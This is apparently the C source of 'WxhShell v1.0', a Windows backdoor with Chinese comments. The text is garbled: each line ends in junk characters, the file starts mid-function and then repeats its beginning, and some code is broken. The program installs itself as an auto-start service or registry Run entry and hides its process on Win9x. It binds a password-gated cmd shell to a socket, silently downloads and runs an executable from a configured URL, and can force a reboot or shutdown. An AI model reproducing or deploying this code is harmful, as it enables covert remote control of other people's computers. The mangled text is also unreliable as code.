    } {^v50d  
  // 关机 ^H>vJT  
  case 'd': { {k>m5L  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;J<kG@  
    if(Boot(SHUTDOWN)) : &]%E/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); : f Wh7X3  
    else { f3O3pIA  
    closesocket(wsh); K>-m8.~\E  
    ExitThread(0); J_tJj8  
    } >13=4S  
    break; }  ?  
    } :98Pe6  
  // 获取shell > 2$M~to"1  
  case 's': { na~ r}7 7o  
    CmdShell(wsh); OT zh=Z^r  
    closesocket(wsh); #Ew}@t9  
    ExitThread(0); /[mCK3_  
    break; !#3R<bW`R8  
  } *+iWB_  
  // 退出 [@(zGb8  
  case 'x': { |h;MA,qva  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7G xNI  
    CloseIt(wsh); E+_ }8J .  
    break; "8N]1q:$4  
    } -?ip?[Z  
  // 离开 5p750`n  
  case 'q': { dW91nTQ:  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [KJm&\evp  
    closesocket(wsh); V9+7A  
    WSACleanup(); NLj0\Pz|B  
    exit(1); Z#0z#M`  
    break; 15870xS  
        }  ^rI&BN@S  
  } 9yQ[*  
  } b"J(u|Du`  
\Ew2@dF{O  
  // 提示信息 0tA+11Iu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B^oXUEOImq  
} 4aGHks8Z,\  
  } *Owq_)_ (|  
UO</4WJ  
  return; K[sfsWQ.  
} y- g5`@  
&u8BGMl2  
// shell模块句柄 xi-^_I  
int CmdShell(SOCKET sock) [!v:fj  
{ 3ZC[H'|  
STARTUPINFO si; ^ c:(HUo#  
ZeroMemory(&si,sizeof(si)); Hkpn/,D5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U,/>p=s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yNO5h]o  
PROCESS_INFORMATION ProcessInfo; Y40{v(Pi  
char cmdline[]="cmd"; >%xJ e'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); J^u8d?>r  
  return 0; [ %r :V"  
} b-wFnMXk+  
D:%v((Ccw  
// 自身启动模式 (fq>P1-  
int StartFromService(void) zd+8fP/UB  
{ |d8/ZD  
typedef struct CFVe0!\  
{ &a O3N  
  DWORD ExitStatus; #[2]B8NZ  
  DWORD PebBaseAddress; b" p,~{  
  DWORD AffinityMask; 7Rq;V=2YV  
  DWORD BasePriority; ($]y*| Obn  
  ULONG UniqueProcessId; 9NVe>\s_  
  ULONG InheritedFromUniqueProcessId; 8K{ TRPy  
}   PROCESS_BASIC_INFORMATION; JGJQ5zt  
NoV2<m$  
PROCNTQSIP NtQueryInformationProcess; %3Y&D]  
6kHAoERp  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iN_G|w[d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !J.qH%S5   
m7fmQUk  
  HANDLE             hProcess; ze]2-B4  
  PROCESS_BASIC_INFORMATION pbi; P#6y  
0F)Y[{h<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \9!W^i[+  
  if(NULL == hInst ) return 0; ,xNuc$8Jd  
p1CY?K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?DA,]aa-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OLlNCb#t  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); HA>b'lqBM  
w R1M_&-s  
  if (!NtQueryInformationProcess) return 0; $TWt[  
?-Fp rC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?~;G)5  
  if(!hProcess) return 0; ~[Mm0L}8  
kpcIU7|e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; JZ'`.yK:  
MJb!+E+  
  CloseHandle(hProcess); rE EWCt  
pGh2 4E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <S%M*j  
if(hProcess==NULL) return 0; -Y{P"!p0  
<Jv %}r  
HMODULE hMod; ZEp UHdin  
char procName[255]; IA! ( 'Ks  
unsigned long cbNeeded; 7 i,}F|#8  
\2@OS6LUe  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); IZoa7S&t  
\5cAOBja  
  CloseHandle(hProcess); 4l560Fb'U  
zaf%%  
if(strstr(procName,"services")) return 1; // 以服务启动 /X {:~*.z  
6MqJy6  
  return 0; // 注册表启动 " 8>*O;xk  
} eo4;?z  
?dY}xE  
// 主模块 9U^jsb<St>  
int StartWxhshell(LPSTR lpCmdLine) aj85vON1`  
{ x/ lW=EQ  
  SOCKET wsl; aPWlV= oG  
BOOL val=TRUE; tgKmC I  
  int port=0; ,~p'p)  
  struct sockaddr_in door; f =B)jYI  
s8Xort&   
  if(wscfg.ws_autoins) Install(); FE,&_J"  
$_%yr ~2  
port=atoi(lpCmdLine); M S)(\&N  
*2Il{KO A^  
if(port<=0) port=wscfg.ws_port; |MY6vRJ(  
.n'z\] -/Q  
  WSADATA data; ppP7jiGo  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Tl6%z9rY@  
-y;SR+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -L}crQl.'c  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hlWTsi4N  
  door.sin_family = AF_INET; Xkk m~sM6  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v `9IS+Z  
  door.sin_port = htons(port); 2&S*> (  
n(\5Z&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X!KjRP\\  
closesocket(wsl); VQI  
return 1; 9 N[k ?kUZ  
} c$ya{]a  
ov.7FZ+  
  if(listen(wsl,2) == INVALID_SOCKET) { 6&5p3G{%0  
closesocket(wsl); I4.^I/c(  
return 1; 5B)Z@-x2  
} I@76ABu^  
  Wxhshell(wsl); zc%#7"FM  
  WSACleanup(); &W)Lzpx8c  
96x0'IsaG  
return 0; apPn>\O  
[Dni>2@0  
} u2,V34b-  
 Gqvj  
// 以NT服务方式启动 ;"l>HL:^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f^\qDvPur  
{ Q5b~5a  
DWORD   status = 0; F?TxViL  
  DWORD   specificError = 0xfffffff; Z6#}6Y{  
L?T%;VdG'>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?]+{2&&$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; v0&E!4q*'  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 794V(;sW,  
  serviceStatus.dwWin32ExitCode     = 0; g&I/b/A  
  serviceStatus.dwServiceSpecificExitCode = 0; [x Xa3W  
  serviceStatus.dwCheckPoint       = 0; ="hh=x.5J  
  serviceStatus.dwWaitHint       = 0; fS+Ga1CsH  
=QXLr+ y@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); bq{":[a  
  if (hServiceStatusHandle==0) return; U2l7@uDr;  
"$#X[ .  
status = GetLastError(); x2/L`q"M?=  
  if (status!=NO_ERROR) ?4vf 2n@  
{ d#6'dKV$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; UT!gAU  
    serviceStatus.dwCheckPoint       = 0; 8:E)GhX  
    serviceStatus.dwWaitHint       = 0; .cJWYMC  
    serviceStatus.dwWin32ExitCode     = status; MdM^!sk&`  
    serviceStatus.dwServiceSpecificExitCode = specificError; |d =1|C%,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); o\6A]T=R  
    return; f.SV-{O_  
  } x@/ N9*  
h.+{cOA;n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; No#1Ikw  
  serviceStatus.dwCheckPoint       = 0; ,5J-C!C  
  serviceStatus.dwWaitHint       = 0; rjqQWfShY  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X+2aP'D  
} B@XnHh5y  
ocOzQ13@Y  
// 处理NT服务事件,比如:启动、停止 }+";W)R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zG)XB*c  
{ j}}:&>;  
switch(fdwControl) |eH >55 b  
{ e%. Xya#\  
case SERVICE_CONTROL_STOP: Hg$t,\j  
  serviceStatus.dwWin32ExitCode = 0; ~u| k1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; C":i56  
  serviceStatus.dwCheckPoint   = 0; wi]ya\(*yl  
  serviceStatus.dwWaitHint     = 0; t:y} 7un  
  { 7 $AEh+f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -ZwQL="t  
  } k/[*Wz$W  
  return; "#Ov!t  
case SERVICE_CONTROL_PAUSE: ]gI>ay"\QA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 49. @Uzo  
  break; 1haNca_6,  
case SERVICE_CONTROL_CONTINUE: mRVE@ pc2X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; XwWp4`Fd  
  break; n-iy;L^b  
case SERVICE_CONTROL_INTERROGATE: bV|(V>  
  break; oj\av~cI  
}; c|?0iN  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F|.,lb |L  
} GiI|6z!  
@ n<y[WA  
// 标准应用程序主函数 L,G{ t^j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ucnj7>+"  
{ wV\;,(<x=%  
a|aRUxa0"  
// 获取操作系统版本 H{}0- 0o  
OsIsNt=GetOsVer(); 2E]SKpJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); EAiE@r>4  
sbnNk(XINQ  
  // 从命令行安装 l-|hvv5g  
  if(strpbrk(lpCmdLine,"iI")) Install(); oS3}xT" U  
\Y;LbB8D  
  // 下载执行文件 s>y=-7:N  
if(wscfg.ws_downexe) { AL*P 2\8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %J)n#\  
  WinExec(wscfg.ws_filenam,SW_HIDE); d#~^)r  
} Oa7x(wS  
Ut"~I)S{LT  
if(!OsIsNt) {  -)  
// 如果时win9x,隐藏进程并且设置为注册表启动 CZE!rpl  
HideProc(); v,6  
StartWxhshell(lpCmdLine); 0V{a{>+  
} +bC-_xGuh  
else !=%E&e]  
  if(StartFromService()) FtBYPSGz  
  // 以服务方式启动 "{a-I=s\C  
  StartServiceCtrlDispatcher(DispatchTable); Vy*&po[   
else X; $g7A  
  // 普通方式启动 0}'  
  StartWxhshell(lpCmdLine); <?|v-(E  
H"v3?g`S%  
return 0; |0!oSNJ  
} "$)Nd+ny  
y k=o  
[AAG:`  
:5kgJu  
=========================================== &E98&[`7  
L0ZgxG3:g  
l+# l\q%l  
2Eq?^ )s  
];@"-H  
|a!AgvNF  
" P_:A%T  
l!Bc0  
#include <stdio.h> :=J~t@  
#include <string.h> w[g(8 #*  
#include <windows.h> 9rhIDA(wc  
#include <winsock2.h> N^,@s"g  
#include <winsvc.h> kz4d"bTb  
#include <urlmon.h> Be?b| G!M  
jpND"`Q  
#pragma comment (lib, "Ws2_32.lib") J LOTl.  
#pragma comment (lib, "urlmon.lib") V=#L@ws  
Sw##C l#  
#define MAX_USER   100 // 最大客户端连接数 f"^G\  
#define BUF_SOCK   200 // sock buffer "6.JpUf  
#define KEY_BUFF   255 // 输入 buffer P bR6>'  
w-~u[c  
#define REBOOT     0   // 重启 z'cK,psq(  
#define SHUTDOWN   1   // 关机 I'"b3]DXG  
]-  
#define DEF_PORT   5000 // 监听端口 ce/Z[B+d  
f-at@C1L%L  
#define REG_LEN     16   // 注册表键长度 %onUCN<O`  
#define SVC_LEN     80   // NT服务名长度 g? 7%  
7MX nt5qUh  
// 从dll定义API AiUICf?{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ( e> .hfrs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WJH)>4M#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NZUQ R`5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); S<RJ46  
c;M7[y&  
// wxhshell配置信息 {+Rf?'JZH  
struct WSCFG { YS$?Wz  
  int ws_port;         // 监听端口 R-xWZRl>  
  char ws_passstr[REG_LEN]; // 口令 o_un=ygU  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,`<w#  
  char ws_regname[REG_LEN]; // 注册表键名 lWYZAF>?Ym  
  char ws_svcname[REG_LEN]; // 服务名 &[]0yNG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fi8'3/q-^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 `Qzga}`"]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [Xy^M3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Vf Jpiv1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" gHU/yi!T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XS!mtd<q  
5o2W[<%v  
}; TF)OBN~/  
&?.k-:iN  
// default Wxhshell configuration E_VLI'Hn?  
struct WSCFG wscfg={DEF_PORT, .gmNE$d  
    "xuhuanlingzhe", J N5<=x5r  
    1, _ZgIm3p0A  
    "Wxhshell", /.leY$  
    "Wxhshell", 99T_y`df  
            "WxhShell Service", nxzdg5A(w  
    "Wrsky Windows CmdShell Service", C^uH]WO  
    "Please Input Your Password: ", P#`Mg@.  
  1, <8yv(  
  "http://www.wrsky.com/wxhshell.exe", +-=o16*{ !  
  "Wxhshell.exe" p h[ ^ve  
    }; z"`q-R }m  
3`9H  
// 消息定义模块 D;@*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; cE7xNZ;Bh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FB<#N+L\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'B;aXy/JC  
char *msg_ws_ext="\n\rExit."; >BC?% |l  
char *msg_ws_end="\n\rQuit."; oH/6  
char *msg_ws_boot="\n\rReboot..."; j(j o8  
char *msg_ws_poff="\n\rShutdown..."; ;F)g r  
char *msg_ws_down="\n\rSave to "; 'jv[Gcss3L  
eT??F  
char *msg_ws_err="\n\rErr!"; vB0O3]  
char *msg_ws_ok="\n\rOK!"; 'qRK6}"T  
>UTAk  
char ExeFile[MAX_PATH]; @^Tof5?F?  
int nUser = 0; l#8SlRji  
HANDLE handles[MAX_USER]; tz(\|0WDQ  
int OsIsNt; AF5$U8jf  
u(ep$>[F#_  
SERVICE_STATUS       serviceStatus; ]lj,GD)c  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9Vp|a&Ana  
vfG4PJ 6  
// 函数声明 _C` cO  
int Install(void); F<8Rr#Z  
int Uninstall(void); Ax[!7~s  
int DownloadFile(char *sURL, SOCKET wsh); 1i;-mYGaMn  
int Boot(int flag); r81YL  
void HideProc(void); d/>owCwQ  
int GetOsVer(void); QN=a{  
int Wxhshell(SOCKET wsl); &h=O;?dO  
void TalkWithClient(void *cs); #NZ\UmA  
int CmdShell(SOCKET sock); "e WN5 2  
int StartFromService(void); a`.] 8Jy)  
int StartWxhshell(LPSTR lpCmdLine); \I r&&%  
lSw9e<jYO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q'kZ3 G   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CJA5w[m  
2mVcT3  
// 数据结构和表定义 x <^vJ1  
SERVICE_TABLE_ENTRY DispatchTable[] = iV X12  
{ M{Ss?G4H  
{wscfg.ws_svcname, NTServiceMain}, J8|F8dcz  
{NULL, NULL} >*ey 7g  
}; #E`-b9Q  
Z5aU7  
// 自我安装 A^+G w\  
int Install(void) fFD:E} >5  
{ ?haN ;n6'  
  char svExeFile[MAX_PATH]; Y40Hcc+Fx  
  HKEY key; +hdD*}qauC  
  strcpy(svExeFile,ExeFile);  |*079v  
[t55Kz*cD  
// 如果是win9x系统,修改注册表设为自启动 5ru&In&  
if(!OsIsNt) { C2GF N1i  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I8r5u=PH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X#9}|rT56  
  RegCloseKey(key); b-e3i;T!}~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1(C3;qlVD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  V"n0"\k,  
  RegCloseKey(key); y7#$:+jQv  
  return 0; zNT~-  
    } y(&JE^GfX  
  } 2.)@u~^Q  
} T:+%3+;a  
else { F"O{eK0T  
+W+O7SK\y  
// 如果是NT以上系统,安装为系统服务 td^2gjr^5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O_8ERxj g]  
if (schSCManager!=0) aVv$k  
{ X E]YKJ?|k  
  SC_HANDLE schService = CreateService $Xf1|!W%a%  
  ( 6x KbK1W  
  schSCManager, }>vf(9sF`  
  wscfg.ws_svcname, wD>tR SW  
  wscfg.ws_svcdisp, SX)giQLU  
  SERVICE_ALL_ACCESS, <VD^f  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?qr-t+  
  SERVICE_AUTO_START, XWvT(+J  
  SERVICE_ERROR_NORMAL, 4`@]jm  
  svExeFile, D*+uH;ws  
  NULL, " @!z+x[8  
  NULL, XHu Y'\;-  
  NULL, g ]|K@sm  
  NULL, j""I,$t  
  NULL )5Yv7x(K  
  ); Z5juyzj  
  if (schService!=0) 7sECbbJT  
  { }^uUw&   
  CloseServiceHandle(schService); =ECw'  
  CloseServiceHandle(schSCManager); `6V-a_8;[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ) |`eCzCB  
  strcat(svExeFile,wscfg.ws_svcname); Q+|8|V}w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )&di c6r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zI/)#^SQ  
  RegCloseKey(key); 0wZ_;FN*-  
  return 0; !xoN%5 !  
    } %&KJtKe  
  } "?_adot5v  
  CloseServiceHandle(schSCManager); $Z)Dvy|  
} XQ.czj  
} $Gb] K{e  
_+0l+a*D  
return 1; @AUx%:}0Y:  
} )c=R)=N  
xZjl_ b J  
// 自我卸载 7|3Qcn7P)@  
int Uninstall(void) wsp&U .z  
{ xN wKTIK$  
  HKEY key; rDkAeX0  
lTe}[@(  
if(!OsIsNt) { K7}EL|Kx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { h: :'s&|  
  RegDeleteValue(key,wscfg.ws_regname); "pq#A*  
  RegCloseKey(key); DX.u"&Mm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7"F w8;k  
  RegDeleteValue(key,wscfg.ws_regname); .{D[!Dp#h  
  RegCloseKey(key); dDN#>|  
  return 0; +7?p& -r)x  
  }  mfOr+   
} v 1Yf:c  
} cSCO7L2E18  
else { .58>KBj(  
>T{9-_#P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *leQd^47  
if (schSCManager!=0) 3/8o)9f.  
{ DQW^;Ls  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); m`C(y$8fU  
  if (schService!=0) V x1C4  
  { j &)Xi^^  
  if(DeleteService(schService)!=0) { :P`sK&b_  
  CloseServiceHandle(schService); RC Fb&,51  
  CloseServiceHandle(schSCManager); GL&ri!,  
  return 0; !\Jj}iX3_  
  } 8}Rwf?B  
  CloseServiceHandle(schService); \{J gjd  
  } %? +A.0]E  
  CloseServiceHandle(schSCManager); Z"Z&X0O j  
} Nj||^k  
} LFy5tX#  
I1U{t  
return 1; 5sC{5LJzC  
} q /EK ]B  
k:PO"<-U  
// 从指定url下载文件 '5wa"/ ?w  
int DownloadFile(char *sURL, SOCKET wsh) uRG0} >]|U  
{ Ous[{"-J  
  HRESULT hr; #6'oor X  
char seps[]= "/"; Vnuz! 6.  
char *token; {'Nvs_{6  
char *file; `Bx3grZ 7&  
char myURL[MAX_PATH]; QQP bKok>  
char myFILE[MAX_PATH]; !%J;dOcU  
SQ5SvYH  
strcpy(myURL,sURL); /_v5B>  
  token=strtok(myURL,seps); *%(8z~(\  
  while(token!=NULL) )0`;leli  
  {  =IV_yor  
    file=token;  ])}{GW  
  token=strtok(NULL,seps); W3* BdpTw  
  } XyJ*>;q  
%KNnss}  
GetCurrentDirectory(MAX_PATH,myFILE); #T Cz$_=t  
strcat(myFILE, "\\"); {g\Yy(r  
strcat(myFILE, file); w=d#y )1  
  send(wsh,myFILE,strlen(myFILE),0); :k8>)x] )  
send(wsh,"...",3,0); `x$d8(1J`#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R'qB-v.  
  if(hr==S_OK) ,e( |,u  
return 0; r&)/3^S '  
else ~\4l*$3(^  
return 1; C$ oY,A,  
g 'c4&Do  
} ,kuJWaUC@  
UBqA[9  
// 系统电源模块 xy46].x-  
int Boot(int flag) "o#"u[W ,  
{ %!%3jo0t  
  HANDLE hToken; 1qbd6D|t  
  TOKEN_PRIVILEGES tkp; J|_&3@r  
-(~Tu>KaH  
  if(OsIsNt) { j(F%uUpN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6@g2v^ %  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); p.TR1BHw  
    tkp.PrivilegeCount = 1; o,9E~Q'`{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6#vD>@H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l>h%J,W  
if(flag==REBOOT) { >Mj :'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +e<P7}ZQ  
  return 0; K6~N{:.s  
} ~[Mk QJxe  
else { 1c~c_Cc4  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WRZi^B8 @  
  return 0; <8Nh dCO6  
} WqqrfzlM  
  } MHVqRYz  
  else { 78#je=MDg  
if(flag==REBOOT) { #6fp "  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) H&E c *MT  
  return 0; iHr{ VQ  
} AOWX=`J8V  
else { d~C YZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R!W!8rr3  
  return 0; gSEj/?  
} 0`"]mYH  
} XD{U5.z>y  
1""9+4  
return 1; !tCw)cou  
} 6xr$  
%/~6Qq  
// win9x进程隐藏模块 Et(Q$/W  
void HideProc(void) -q&VV,  
{ 6AqHzeh  
[|d:QFx  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wblEx/FqE^  
  if ( hKernel != NULL ) "@W0Lk[  
  { D^=_408\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L{bcmo\U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nz#T)MGO`  
    FreeLibrary(hKernel); cbsy&U  
  } zBay 3a  
;WJ}zjo >  
return; Wd~aSz9  
} o;{  
TU$/3fp*  
// 获取操作系统版本 mC n,I  
int GetOsVer(void) k^ J~l=?v  
{ )^ R]3!v  
  OSVERSIONINFO winfo; Zq2dCp%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 24Z7;'  
  GetVersionEx(&winfo); %Z 9<La  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M A}=  
  return 1; PH9MB  
  else qCSJ=T;  
  return 0; =`xk|86f  
} iN0pYqY*  
?}m/Q"!1  
// 客户端句柄模块 WfBA5  
int Wxhshell(SOCKET wsl) apa~Is1  
{ 7S7gU\qOj  
  SOCKET wsh; "u Xl  
  struct sockaddr_in client; C&bw1`XJf  
  DWORD myID; %h g=@7,|  
#w*1 !  
  while(nUser<MAX_USER) Q mOG2  
{ kCL)F\v"iT  
  int nSize=sizeof(client); ?Bq"9*q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'j !!h4  
  if(wsh==INVALID_SOCKET) return 1; %Xh/16X${  
<wFR%Y/j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =2s 5>Oz+  
if(handles[nUser]==0) DOaEz?2)  
  closesocket(wsh); (BVLlOo?J  
else 'C1=(PE%`  
  nUser++; Ra'0 ^4t  
  } eQx9 Vnb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >1`FR w<  
@4B+<,i   
  return 0; yX,2`&c  
} HLg/=VF7?  
gd]vrW'wj  
// 关闭 socket XrYMv WT  
void CloseIt(SOCKET wsh) @BbZ(cZ*  
{ ilw<Q-o4(  
closesocket(wsh); j?i Ur2  
nUser--; E8T4Nh_  
ExitThread(0); 3%/]y=rA  
} r) T^ Td1  
S6B(g_D|  
// 客户端请求句柄 hqnJ@N$yY  
void TalkWithClient(void *cs) b=9(gZ 9  
{ `)`_G!a  
u6'vzLmM  
  SOCKET wsh=(SOCKET)cs; {:IOTy  
  char pwd[SVC_LEN]; Bz_['7D  
  char cmd[KEY_BUFF]; 1.o-2:]E  
char chr[1]; s{NEP/QQJ  
int i,j; tv+q~TFB=Z  
i/Q*AG>b  
  while (nUser < MAX_USER) { DdJxb{y7  
z_*]joL  
if(wscfg.ws_passstr) { JS642T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e!l!T@ pf  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aa_&WHXkt  
  //ZeroMemory(pwd,KEY_BUFF); hQ i[7r($8  
      i=0; y%|nE((  
  while(i<SVC_LEN) { &O#a==F!(  
Xj&{M[k<  
  // 设置超时 7$z")JB  
  fd_set FdRead; V,<,;d fR  
  struct timeval TimeOut; +e)So+.W  
  FD_ZERO(&FdRead); qlIC{:E0  
  FD_SET(wsh,&FdRead); G&0&*mp  
  TimeOut.tv_sec=8; LXVm0IOFF  
  TimeOut.tv_usec=0; gT<E4$I69  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); M/5/Tp  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); owCQ71Q  
aP!a?xq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A]Zp1XEG  
  pwd=chr[0]; r[eZV"  
  if(chr[0]==0xd || chr[0]==0xa) { k*-_CO-h  
  pwd=0; D=mU!rjr1  
  break; Lbq"( b  
  } _0)#-L>xKF  
  i++; X9/V;!  
    } C(3yJzg>y  
i`gsT[JQRX  
  // 如果是非法用户,关闭 socket P~#!-9?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =3{h9  
} ~4U[p  50  
'# "Z$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W:3u$LTf*f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b5_A*-s$M  
4adCMfP7.  
while(1) { *wwLhweQ5W  
9HLn_|yU  
  ZeroMemory(cmd,KEY_BUFF); ci+Pg9sS  
Q0gO1 T  
      // 自动支持客户端 telnet标准   _R1UEE3M  
  j=0; t+q LQY}=  
  while(j<KEY_BUFF) { J@"Pv~R  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }kT;UdIu;  
  cmd[j]=chr[0]; %{yr#F=t#]  
  if(chr[0]==0xa || chr[0]==0xd) { q5BJsw  
  cmd[j]=0; Eof1sTpA  
  break; "]LNw=S  
  } (u]ft]z,-B  
  j++;  elWN-~  
    } 6[69|&  
394u']M  
  // 下载文件 A~ '2ki5$g  
  if(strstr(cmd,"http://")) { `kwyF27v]  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *na7/ysT<  
  if(DownloadFile(cmd,wsh)) FMwT4]y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &m5WmEz>`  
  else ]RPv@z:V  
